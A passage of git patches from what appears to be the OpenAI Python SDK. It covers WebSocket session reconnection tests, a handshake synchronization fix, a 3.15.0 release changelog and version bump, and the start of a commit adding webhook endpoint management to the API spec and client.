+ socket.send(json.dumps(response_event("completed", id="resp_restored")))
+
+ with script_server(script, expected_connections=2) as url:
+ async with session_for(
+ "sync", url, connection_options={"on_reconnecting": reconnect, "initial_delay": 0, "max_retries": 1}
+ ) as driver:
+ session = driver.session
+ try:
+ with pytest.raises(RuntimeError, match="reconnecting"):
+ await driver.call(session.default, "send", {"type": "response.create", "tools": tools()})
+ finally:
+ continue_recovery.set()
+ assert (await driver.call(session.default, "recv")).ready is True
+ await driver.call(session.default, "send", {"type": "response.create", "input": "restored context"})
+ assert (await driver.call(session.default, "get_final_response")).id == "resp_restored"
+
+
+@pytest.mark.parametrize("recover_before_check", [False, True])
+async def test_sync_recovery_before_send_preparation_preserves_lane(
+ monkeypatch: pytest.MonkeyPatch, recover_before_check: bool
+) -> None:
+ disconnect = threading.Event()
+ recovered = threading.Event()
+
+ def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
+ return {"extra_headers": {"X-Recovery": "fresh"}}
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ if socket.request.headers.get("X-Recovery") != "fresh":
+ assert disconnect.wait(5)
+ socket.close(code=1011)
+ return
+ recovered.set()
+ socket.send(json.dumps({"type": "response.future", "ready": True}))
+ assert json.loads(socket.recv(timeout=5)) == {"type": "response.create", "input": "restored context"}
+ socket.send(json.dumps(response_event("completed", id="resp_restored")))
+
+ with script_server(script, expected_connections=2) as url:
+ async with session_for(
+ "sync", url, connection_options={"on_reconnecting": reconnect, "initial_delay": 0, "max_retries": 1}
+ ) as driver:
+ session = driver.session
+ previous = session.connection._connection
+ check_send = session._check_send
+
+ def check_then_reconnect(state: Any) -> None:
+ if not recover_before_check:
+ check_send(state)
+ disconnect.set()
+ assert recovered.wait(5)
+ with session._router.condition:
+ assert session._router.condition.wait_for(
+ lambda: session.connection._connection is not previous
+ and not session.connection._is_reconnecting,
+ timeout=5,
+ )
+ if recover_before_check:
+ check_send(state)
+
+ monkeypatch.setattr(session, "_check_send", check_then_reconnect)
+ with pytest.raises(RuntimeError, match="restore state"):
+ await driver.call(session.default, "send", {"type": "response.create", "input": "must not migrate"})
+ monkeypatch.setattr(session, "_check_send", check_send)
+ assert (await driver.call(session.default, "recv")).ready is True
+ await driver.call(session.default, "send", {"type": "response.create", "input": "restored context"})
+ assert (await driver.call(session.default, "get_final_response")).id == "resp_restored"
+
+
+async def test_sync_recovery_cannot_replace_socket_during_send_preparation(monkeypatch: pytest.MonkeyPatch) -> None:
+ disconnect = threading.Event()
+ replacement_waiting = threading.Event()
+ replacement_blocked = threading.Event()
+ recovered = threading.Event()
+
+ def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
+ return {"extra_headers": {"X-Recovery": "fresh"}}
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ if socket.request.headers.get("X-Recovery") != "fresh":
+ assert disconnect.wait(5)
+ socket.close(code=1011)
+ return
+ socket.send(json.dumps({"type": "response.future", "ready": True}))
+ # A send prepared on the retired socket must not migrate or be replayed.
+
+ with script_server(script, expected_connections=2) as url:
+ async with session_for(
+ "sync", url, connection_options={"on_reconnecting": reconnect, "initial_delay": 0, "max_retries": 1}
+ ) as driver:
+ session = driver.session
+ connection_lock = session.connection._connection_lock
+ prepare = session._router.prepare
+ reconnected = session._router.reconnected
+ send = session.connection._connection.send
+
+ class ObservedLock:
+ def __enter__(self) -> None:
+ if threading.current_thread() is session._thread:
+ acquired = connection_lock.acquire(blocking=False)
+ if not acquired:
+ replacement_blocked.set()
+ replacement_waiting.set()
+ if acquired:
+ return
+ connection_lock.acquire()
+
+ def __exit__(self, *_args: object) -> None:
+ connection_lock.release()
+
+ def prepare_during_recovery(state: Any, is_create: bool) -> None:
+ disconnect.set()
+ assert replacement_waiting.wait(5)
+ assert replacement_blocked.is_set()
+ prepare(state, is_create)
+
+ def observe_recovery(connection: object) -> None:
+ reconnected(connection)
+ recovered.set()
+
+ def send_after_recovery(data: str) -> None:
+ assert recovered.wait(5)
+ send(data)
+
+ monkeypatch.setattr(session.connection, "_connection_lock", ObservedLock())
+ monkeypatch.setattr(session._router, "prepare", prepare_during_recovery)
+ monkeypatch.setattr(session._router, "reconnected", observe_recovery)
+ monkeypatch.setattr(session.connection._connection, "send", send_after_recovery)
+ with pytest.raises(ConnectionClosedError):
+ await driver.call(session.default, "send", {"type": "response.create", "input": "must not migrate"})
+ monkeypatch.setattr(session._router, "prepare", prepare)
+ assert (await driver.call(session.default, "recv")).ready is True
+ # Once preparation finishes, a failed write retains the existing
+ # uncertain-delivery contract instead of permitting a duplicate.
+ with pytest.raises(RuntimeError, match="Consume the current response"):
+ await driver.call(session.default, "send", {"type": "response.create"})
+ session.default.close()
+ with pytest.raises(ValueError, match="already registered"):
+ session.lane()
From b7116e67d72cafde4c3da4226abc6e96dadbfb14 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Fri, 18 Sep 2026 00:19:59 +0000
Subject: [PATCH 163/341] test: synchronize replacement WebSocket handshake
(#3891)
The reconnect shutdown regression could fail during cleanup because the
replacement client handshake completed and closed before the server
application handler recorded it. Wait for explicit server acceptance
before returning the replacement socket to the shutdown path.
The test retains both close-deadline variants, the two-connection
assertion, and reader/ownership cleanup checks. No SDK runtime,
dependency, or release metadata changes.
Validation: 156 session tests, both targeted variants, Ruff and Pyright
pass. The local mypy run reports two identical errors on the unchanged
baseline and candidate.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
tests/lib/responses/test_websocket_session.py | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/tests/lib/responses/test_websocket_session.py b/tests/lib/responses/test_websocket_session.py
index 23b671ea25..743ad2e969 100644
--- a/tests/lib/responses/test_websocket_session.py
+++ b/tests/lib/responses/test_websocket_session.py
@@ -580,6 +580,7 @@ async def test_sync_close_during_replacement_handshake(monkeypatch: pytest.Monke
opening = threading.Event()
release_open = threading.Event()
closing = threading.Event()
+ replacement_accepted = threading.Event()
def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
return {"extra_headers": {"X-Recovery": "fresh"}}
@@ -589,6 +590,8 @@ def script(socket: ServerConnection) -> None:
if socket.request.headers.get("X-Recovery") != "fresh":
assert disconnect.wait(5)
socket.close(code=1011)
+ else:
+ replacement_accepted.set()
with script_server(script, expected_connections=2) as url:
async with session_for(
@@ -603,7 +606,9 @@ def script(socket: ServerConnection) -> None:
def delayed_open(query: Any, headers: Any) -> Any:
opening.set()
assert release_open.wait(5)
- return make_ws(query, headers)
+ socket = make_ws(query, headers)
+ assert replacement_accepted.wait(5)
+ return socket
def observed_close() -> None:
try:
From fcfb37c1994d08b7c05e45a79259caa5bbd042f0 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Fri, 18 Sep 2026 00:47:43 +0000
Subject: [PATCH 164/341] release: 3.15.0 (#3870)
Automated Release PR
---
##
[3.15.0](https://github.com/openai/openai-python/compare/v3.14.1...v3.15.0)
(2026-09-18)
### Features
* **api:** add agent session model settings
([#3882](https://github.com/openai/openai-python/issues/3882))
([4b15817](https://github.com/openai/openai-python/commit/4b1581771ea97c870187f6ddfc3dbc87ff4fa443))
* **api:** add audio-mini model choices
([#3886](https://github.com/openai/openai-python/issues/3886))
([a6eeb3f](https://github.com/openai/openai-python/commit/a6eeb3f5a468ec576d2c911c19ce59c56ac46e43))
* **api:** add compaction progress events
([#3866](https://github.com/openai/openai-python/issues/3866))
([98e1d24](https://github.com/openai/openai-python/commit/98e1d24f4902ab58830adf0e2b6a729a5d5429b1))
* **api:** add managed Responses WebSocket sessions
([#3887](https://github.com/openai/openai-python/issues/3887))
([3b865af](https://github.com/openai/openai-python/commit/3b865af92e8dc65e14ab6d565304fe778bac1eef))
* **api:** add prompt-cache prewarming
([#3888](https://github.com/openai/openai-python/issues/3888))
([8f7cdb8](https://github.com/openai/openai-python/commit/8f7cdb80410434d29daed90895112a39936eb4fe))
### Bug Fixes
* preserve chat stream moderation results
([#3864](https://github.com/openai/openai-python/issues/3864))
([b77076d](https://github.com/openai/openai-python/commit/b77076d23b6f3e34453b0fadd8cd2a001627e365))
### Chores
* **api:** clarify incoming SIP call ID usage
([#3885](https://github.com/openai/openai-python/issues/3885))
([f0457ab](https://github.com/openai/openai-python/commit/f0457aba3403f83e91a369ab55e0e55d5f012372))
* **api:** update image request examples
([#3889](https://github.com/openai/openai-python/issues/3889))
([bb79676](https://github.com/openai/openai-python/commit/bb796764118004f8c9b0b0a46e07e5e55cfe34e4))
### Documentation
* **realtime:** remove nonexistent type imports
([#3869](https://github.com/openai/openai-python/issues/3869))
([2971aaf](https://github.com/openai/openai-python/commit/2971aafce5c1966fc56efd00918b16314063284e))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 27 +++++++++++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 31 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index bec92bfa28..4336a6cb3d 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.14.1"
+ ".": "3.15.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index a62e2b49f1..9dfe3fc893 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,32 @@
# Changelog
+## [3.15.0](https://github.com/openai/openai-python/compare/v3.14.1...v3.15.0) (2026-09-18)
+
+
+### Features
+
+* **api:** add agent session model settings ([#3882](https://github.com/openai/openai-python/issues/3882)) ([4b15817](https://github.com/openai/openai-python/commit/4b1581771ea97c870187f6ddfc3dbc87ff4fa443))
+* **api:** add audio-mini model choices ([#3886](https://github.com/openai/openai-python/issues/3886)) ([a6eeb3f](https://github.com/openai/openai-python/commit/a6eeb3f5a468ec576d2c911c19ce59c56ac46e43))
+* **api:** add compaction progress events ([#3866](https://github.com/openai/openai-python/issues/3866)) ([98e1d24](https://github.com/openai/openai-python/commit/98e1d24f4902ab58830adf0e2b6a729a5d5429b1))
+* **api:** add managed Responses WebSocket sessions ([#3887](https://github.com/openai/openai-python/issues/3887)) ([3b865af](https://github.com/openai/openai-python/commit/3b865af92e8dc65e14ab6d565304fe778bac1eef))
+* **api:** add prompt-cache prewarming ([#3888](https://github.com/openai/openai-python/issues/3888)) ([8f7cdb8](https://github.com/openai/openai-python/commit/8f7cdb80410434d29daed90895112a39936eb4fe))
+
+
+### Bug Fixes
+
+* preserve chat stream moderation results ([#3864](https://github.com/openai/openai-python/issues/3864)) ([b77076d](https://github.com/openai/openai-python/commit/b77076d23b6f3e34453b0fadd8cd2a001627e365))
+
+
+### Chores
+
+* **api:** clarify incoming SIP call ID usage ([#3885](https://github.com/openai/openai-python/issues/3885)) ([f0457ab](https://github.com/openai/openai-python/commit/f0457aba3403f83e91a369ab55e0e55d5f012372))
+* **api:** update image request examples ([#3889](https://github.com/openai/openai-python/issues/3889)) ([bb79676](https://github.com/openai/openai-python/commit/bb796764118004f8c9b0b0a46e07e5e55cfe34e4))
+
+
+### Documentation
+
+* **realtime:** remove nonexistent type imports ([#3869](https://github.com/openai/openai-python/issues/3869)) ([2971aaf](https://github.com/openai/openai-python/commit/2971aafce5c1966fc56efd00918b16314063284e))
+
## [3.14.1](https://github.com/openai/openai-python/compare/v3.14.0...v3.14.1) (2026-09-15)
diff --git a/pyproject.toml b/pyproject.toml
index 14ba9bd7dd..f3046a56c1 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.14.1"
+version = "3.15.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 1476ebf79b..8be6105968 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.14.1" # x-release-please-version
+__version__ = "3.15.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index fdd92662a1..f17453ecf0 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.14.1" # x-release-please-version
+version = "3.15.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 9a11f6e874292230633073fb64ea6202ad22a1df Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Fri, 18 Sep 2026 02:03:26 +0000
Subject: [PATCH 165/341] feat(api): add webhook endpoint management (#3892)
## Summary
Adds webhook endpoint management and event-type discovery through the
webhooks resource.
## Changes
- Create, list, retrieve, update, and delete webhook endpoints
- Rotate signing secrets and send sample events
- List the webhook event types available to the project
---
.castiron.stats.yml | 14 +-
api_reference/openapi.transformed.yml | 466 +++++++++
src/openai/_client.py | 25 +
src/openai/resources/webhooks/__init__.py | 32 +-
src/openai/resources/webhooks/api.md | 22 +
src/openai/resources/webhooks/event_types.py | 139 +++
src/openai/resources/webhooks/webhooks.py | 976 +++++++++++++++++-
src/openai/types/webhooks/__init__.py | 11 +
.../webhooks/deleted_webhook_endpoint.py | 18 +
.../types/webhooks/webhook_create_params.py | 42 +
src/openai/types/webhooks/webhook_endpoint.py | 37 +
.../types/webhooks/webhook_endpoint_list.py | 26 +
.../webhooks/webhook_endpoint_test_result.py | 28 +
.../webhooks/webhook_endpoint_with_secret.py | 45 +
.../types/webhooks/webhook_event_type_list.py | 16 +
.../types/webhooks/webhook_list_params.py | 16 +
.../webhooks/webhook_rotate_secret_params.py | 15 +
.../types/webhooks/webhook_test_params.py | 33 +
.../types/webhooks/webhook_update_params.py | 40 +
tests/api_resources/test_webhooks.py | 575 +++++++++++
.../webhooks/test_event_types.py | 74 ++
.../lib/test_webhook_endpoint_with_secret.py | 33 +
22 files changed, 2672 insertions(+), 11 deletions(-)
create mode 100644 src/openai/resources/webhooks/event_types.py
create mode 100644 src/openai/types/webhooks/deleted_webhook_endpoint.py
create mode 100644 src/openai/types/webhooks/webhook_create_params.py
create mode 100644 src/openai/types/webhooks/webhook_endpoint.py
create mode 100644 src/openai/types/webhooks/webhook_endpoint_list.py
create mode 100644 src/openai/types/webhooks/webhook_endpoint_test_result.py
create mode 100644 src/openai/types/webhooks/webhook_endpoint_with_secret.py
create mode 100644 src/openai/types/webhooks/webhook_event_type_list.py
create mode 100644 src/openai/types/webhooks/webhook_list_params.py
create mode 100644 src/openai/types/webhooks/webhook_rotate_secret_params.py
create mode 100644 src/openai/types/webhooks/webhook_test_params.py
create mode 100644 src/openai/types/webhooks/webhook_update_params.py
create mode 100644 tests/api_resources/webhooks/test_event_types.py
create mode 100644 tests/lib/test_webhook_endpoint_with_secret.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index f167f4de33..df467645d6 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: da11bb84-7726-46be-b0e8-202201c018dd
-openapi_spec_hash: 12fb4f3ab9b96e5acefc54dceacd92cc
-openapi_transformed_spec_hash: 336279ed1cb704ff922280d0ae0b4470
-config_hash: 6b3cc69eb8ac6b5a19e4f865bb7e93fa
-codegen_sha: 3848b5225293192642ddeaa9370a13cceb2e5fd0
-codegen_hash: 2e1d42f12d1a502a71d62f782c0437f78a6cb9504f03ea9f92f84b6aaeee3980
-public_codegen_sha: fa0e11f039b328fc3264db300390d5a9eefcb41d
+generation_id: 69ad6cd7-573b-40b7-9762-941138a594fa
+openapi_spec_hash: 5866548478ad740b94e91012426f5fd9
+openapi_transformed_spec_hash: d8c09e5cfd1b7c8748feee9c5917f482
+config_hash: 487f26152d0893506c0e0d1060441bd0
+codegen_sha: 3f38eecec718649bc81c416d513e1acb655a6d03
+codegen_hash: d3e2ebd89f88df3bc867b3f32cf7704168742fd26a59b9be459b654c1efefba7
+public_codegen_sha: 76d657bf37cecfc8aedbe9f0e495b57b79caaa2e
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 06b1386cac..5b4420560b 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -28092,6 +28092,195 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ /webhook_endpoints:
+ get:
+ summary: List Webhook Endpoints
+ description: Returns webhook endpoints for the authenticated project in newest-first order.
+ operationId: ListWebhookEndpoints
+ parameters:
+ - name: limit
+ in: query
+ description: Maximum number of webhook endpoints to return. Defaults to 20.
+ required: false
+ schema:
+ type: integer
+ minimum: 1
+ maximum: 100
+ - name: after
+ in: query
+ description: ID of the last webhook endpoint from the previous page.
+ required: false
+ schema:
+ anyOf:
+ - example: whe_123
+ type: string
+ - type: 'null'
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookEndpointListResource'
+ x-oaiMeta:
+ beta: true
+ post:
+ summary: Create Webhook Endpoint
+ description: Creates a webhook endpoint for the authenticated project.
+ operationId: CreateWebhookEndpoint
+ parameters: []
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PublicCreateEndpointBody'
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookEndpointWithSecretResource'
+ x-oaiMeta:
+ beta: true
+ /webhook_endpoints/{webhook_endpoint_id}:
+ get:
+ summary: Retrieve Webhook Endpoint
+ description: Retrieves a webhook endpoint for the authenticated project.
+ operationId: RetrieveWebhookEndpoint
+ parameters:
+ - name: webhook_endpoint_id
+ in: path
+ description: The ID of the webhook endpoint to retrieve.
+ required: true
+ schema:
+ example: whe_123
+ type: string
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookEndpointBody'
+ x-oaiMeta:
+ beta: true
+ post:
+ summary: Update Webhook Endpoint
+ description: Updates a webhook endpoint for the authenticated project.
+ operationId: UpdateWebhookEndpoint
+ parameters:
+ - name: webhook_endpoint_id
+ in: path
+ description: The ID of the webhook endpoint to update.
+ required: true
+ schema:
+ example: whe_123
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PublicUpdateEndpointBody'
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookEndpointBody'
+ x-oaiMeta:
+ beta: true
+ delete:
+ summary: Delete Webhook Endpoint
+ description: Deletes a webhook endpoint for the authenticated project.
+ operationId: DeleteWebhookEndpoint
+ parameters:
+ - name: webhook_endpoint_id
+ in: path
+ description: The ID of the webhook endpoint to delete.
+ required: true
+ schema:
+ example: whe_123
+ type: string
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/DeletedWebhookEndpointResource'
+ x-oaiMeta:
+ beta: true
+ /webhook_endpoints/{webhook_endpoint_id}/rotate_secret:
+ post:
+ summary: Rotate Webhook Endpoint Signing Secret
+ description: Rotates the signing secret for a webhook endpoint in the authenticated project.
+ operationId: RotateWebhookEndpointSigningSecret
+ parameters:
+ - name: webhook_endpoint_id
+ in: path
+ description: The ID of the webhook endpoint whose signing secret will be rotated.
+ required: true
+ schema:
+ example: whe_123
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PublicRotateSecretBody'
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookEndpointWithSecretResource'
+ x-oaiMeta:
+ beta: true
+ /webhook_endpoints/{webhook_endpoint_id}/test:
+ post:
+ summary: Test Webhook Endpoint
+ description: Sends a sample event to a webhook endpoint for the authenticated project.
+ operationId: TestWebhookEndpoint
+ parameters:
+ - name: webhook_endpoint_id
+ in: path
+ description: The ID of the webhook endpoint to test.
+ required: true
+ schema:
+ example: whe_123
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PublicTestEndpointBody'
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookEndpointTestResultResource'
+ x-oaiMeta:
+ beta: true
+ /webhook_event_types:
+ get:
+ summary: List Webhook Event Types
+ description: Returns webhook event types visible to the authenticated project.
+ operationId: ListWebhookEventTypes
+ parameters: []
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookEventTypeListResource'
+ x-oaiMeta:
+ beta: true
/responses?beta=true:
post:
operationId: beta_createResponse
@@ -80359,6 +80548,283 @@ components:
- deleted
additionalProperties: false
description: Confirmation that a vault credential was deleted.
+ WebhookEndpointBody:
+ properties:
+ id:
+ type: string
+ description: The unique ID of the webhook endpoint.
+ object:
+ type: string
+ enum:
+ - webhook_endpoint
+ description: The object type, which is always webhook_endpoint.
+ default: webhook_endpoint
+ x-stainless-const: true
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp when the endpoint was created.
+ updated_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp of the last endpoint configuration or signing-secret change. Initialized at creation; tests and unchanged updates do not advance it.
+ name:
+ type: string
+ description: The human-readable name of the endpoint.
+ url:
+ type: string
+ description: The HTTPS URL that receives webhook deliveries.
+ event_types:
+ items:
+ type: string
+ type: array
+ description: The event types that trigger deliveries to this endpoint.
+ signing_secret_hint:
+ anyOf:
+ - type: string
+ description: A masked hint for the endpoint's signing secret.
+ - type: 'null'
+ type: object
+ required:
+ - id
+ - object
+ - created_at
+ - name
+ - url
+ - event_types
+ - signing_secret_hint
+ WebhookEndpointListResource:
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ description: The object type, which is always list.
+ default: list
+ x-stainless-const: true
+ data:
+ items:
+ $ref: '#/components/schemas/WebhookEndpointBody'
+ type: array
+ description: The webhook endpoints in this page.
+ first_id:
+ anyOf:
+ - type: string
+ description: The ID of the first endpoint in this page.
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ description: The ID of the last endpoint in this page.
+ - type: 'null'
+ has_more:
+ type: boolean
+ description: Whether more webhook endpoints are available.
+ type: object
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ ProjectEventTypeEnum:
+ type: string
+ enum:
+ - batch.completed
+ - batch.failed
+ - batch.expired
+ - batch.cancelled
+ - response.completed
+ - response.failed
+ - response.cancelled
+ - response.incomplete
+ - eval.run.succeeded
+ - eval.run.failed
+ - eval.run.canceled
+ - fine_tuning.job.succeeded
+ - fine_tuning.job.failed
+ - fine_tuning.job.cancelled
+ - realtime.call.incoming
+ - video.completed
+ - video.failed
+ - safety.alert.created
+ PublicCreateEndpointBody:
+ properties:
+ name:
+ type: string
+ maxLength: 256
+ minLength: 1
+ description: A human-readable name for the webhook endpoint.
+ url:
+ type: string
+ maxLength: 2048
+ pattern: ^https://
+ description: The HTTPS URL that receives webhook deliveries.
+ event_types:
+ items:
+ $ref: '#/components/schemas/ProjectEventTypeEnum'
+ type: array
+ minItems: 1
+ description: The event types that trigger deliveries to this endpoint.
+ type: object
+ required:
+ - name
+ - url
+ - event_types
+ WebhookEndpointWithSecretResource:
+ properties:
+ id:
+ type: string
+ description: The unique ID of the webhook endpoint.
+ object:
+ type: string
+ enum:
+ - webhook_endpoint
+ description: The object type, which is always webhook_endpoint.
+ default: webhook_endpoint
+ x-stainless-const: true
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp when the endpoint was created.
+ updated_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp of the last endpoint configuration or signing-secret change. Initialized at creation; tests and unchanged updates do not advance it.
+ name:
+ type: string
+ description: The human-readable name of the endpoint.
+ url:
+ type: string
+ description: The HTTPS URL that receives webhook deliveries.
+ event_types:
+ items:
+ type: string
+ type: array
+ description: The event types that trigger deliveries to this endpoint.
+ signing_secret_hint:
+ anyOf:
+ - type: string
+ description: A masked hint for the endpoint's signing secret.
+ - type: 'null'
+ signing_secret:
+ type: string
+ description: The endpoint's signing secret. This is returned only when the endpoint is created or the secret is rotated.
+ type: object
+ required:
+ - id
+ - object
+ - created_at
+ - name
+ - url
+ - event_types
+ - signing_secret_hint
+ - signing_secret
+ PublicUpdateEndpointBody:
+ properties:
+ name:
+ type: string
+ maxLength: 256
+ minLength: 1
+ description: A new human-readable name for the webhook endpoint.
+ url:
+ type: string
+ maxLength: 2048
+ pattern: ^https://
+ description: A new HTTPS URL that receives webhook deliveries.
+ event_types:
+ items:
+ $ref: '#/components/schemas/ProjectEventTypeEnum'
+ type: array
+ minItems: 1
+ description: The complete set of event types that should trigger deliveries.
+ type: object
+ required: []
+ DeletedWebhookEndpointResource:
+ properties:
+ id:
+ type: string
+ description: The ID of the deleted webhook endpoint.
+ object:
+ type: string
+ enum:
+ - webhook_endpoint.deleted
+ description: The object type, which is always webhook_endpoint.deleted.
+ default: webhook_endpoint.deleted
+ x-stainless-const: true
+ deleted:
+ type: boolean
+ description: Whether the endpoint was deleted.
+ type: object
+ required:
+ - id
+ - object
+ - deleted
+ PublicRotateSecretBody:
+ properties:
+ keep_old_secret_active_for_24_hours:
+ type: boolean
+ description: Whether to keep the previous signing secret valid for 24 hours after rotation. Defaults to false, which invalidates the previous secret immediately.
+ type: object
+ required: []
+ PublicTestEndpointBody:
+ properties:
+ event_type:
+ $ref: '#/components/schemas/ProjectEventTypeEnum'
+ description: The event type to send as a sample delivery.
+ type: object
+ required:
+ - event_type
+ WebhookEndpointTestResultResource:
+ properties:
+ object:
+ type: string
+ enum:
+ - webhook_endpoint.test
+ description: The object type, which is always webhook_endpoint.test.
+ default: webhook_endpoint.test
+ x-stainless-const: true
+ webhook_endpoint_id:
+ type: string
+ description: The ID of the webhook endpoint that received the test.
+ event_type:
+ type: string
+ description: The event type sent in the test.
+ status_code:
+ type: integer
+ description: The HTTP status code returned by the endpoint.
+ success:
+ type: boolean
+ enum:
+ - true
+ description: Whether the test request completed. Always true for returned results; use status_code to determine the endpoint response.
+ default: true
+ x-stainless-const: true
+ type: object
+ required:
+ - object
+ - webhook_endpoint_id
+ - event_type
+ - status_code
+ - success
+ WebhookEventTypeListResource:
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ description: The object type, which is always list.
+ default: list
+ x-stainless-const: true
+ data:
+ items:
+ type: string
+ type: array
+ description: The webhook event types available to the authenticated project.
+ type: object
+ required:
+ - object
+ - data
DragPoint:
properties:
x:
diff --git a/src/openai/_client.py b/src/openai/_client.py
index 8af773a224..9f6ebd140d 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -70,6 +70,7 @@
batches,
uploads,
realtime,
+ webhooks,
responses,
containers,
embeddings,
@@ -1743,6 +1744,12 @@ def safety(self) -> safety.SafetyWithRawResponse:
return SafetyWithRawResponse(self._client.safety)
+ @cached_property
+ def webhooks(self) -> webhooks.WebhooksWithRawResponse:
+ from .resources.webhooks import WebhooksWithRawResponse
+
+ return WebhooksWithRawResponse(self._client.webhooks)
+
@cached_property
def beta(self) -> beta.BetaWithRawResponse:
from .resources.beta import BetaWithRawResponse
@@ -1912,6 +1919,12 @@ def safety(self) -> safety.AsyncSafetyWithRawResponse:
return AsyncSafetyWithRawResponse(self._client.safety)
+ @cached_property
+ def webhooks(self) -> webhooks.AsyncWebhooksWithRawResponse:
+ from .resources.webhooks import AsyncWebhooksWithRawResponse
+
+ return AsyncWebhooksWithRawResponse(self._client.webhooks)
+
@cached_property
def beta(self) -> beta.AsyncBetaWithRawResponse:
from .resources.beta import AsyncBetaWithRawResponse
@@ -2081,6 +2094,12 @@ def safety(self) -> safety.SafetyWithStreamingResponse:
return SafetyWithStreamingResponse(self._client.safety)
+ @cached_property
+ def webhooks(self) -> webhooks.WebhooksWithStreamingResponse:
+ from .resources.webhooks import WebhooksWithStreamingResponse
+
+ return WebhooksWithStreamingResponse(self._client.webhooks)
+
@cached_property
def beta(self) -> beta.BetaWithStreamingResponse:
from .resources.beta import BetaWithStreamingResponse
@@ -2250,6 +2269,12 @@ def safety(self) -> safety.AsyncSafetyWithStreamingResponse:
return AsyncSafetyWithStreamingResponse(self._client.safety)
+ @cached_property
+ def webhooks(self) -> webhooks.AsyncWebhooksWithStreamingResponse:
+ from .resources.webhooks import AsyncWebhooksWithStreamingResponse
+
+ return AsyncWebhooksWithStreamingResponse(self._client.webhooks)
+
@cached_property
def beta(self) -> beta.AsyncBetaWithStreamingResponse:
from .resources.beta import AsyncBetaWithStreamingResponse
diff --git a/src/openai/resources/webhooks/__init__.py b/src/openai/resources/webhooks/__init__.py
index 706eb909d0..296bdb375d 100644
--- a/src/openai/resources/webhooks/__init__.py
+++ b/src/openai/resources/webhooks/__init__.py
@@ -1,6 +1,21 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .webhooks import Webhooks as _Webhooks, AsyncWebhooks as _AsyncWebhooks
+from .webhooks import (
+ Webhooks as _Webhooks,
+ AsyncWebhooks as _AsyncWebhooks,
+ WebhooksWithRawResponse,
+ AsyncWebhooksWithRawResponse,
+ WebhooksWithStreamingResponse,
+ AsyncWebhooksWithStreamingResponse,
+)
+from .event_types import (
+ EventTypes,
+ AsyncEventTypes,
+ EventTypesWithRawResponse,
+ AsyncEventTypesWithRawResponse,
+ EventTypesWithStreamingResponse,
+ AsyncEventTypesWithStreamingResponse,
+)
class Webhooks(_Webhooks):
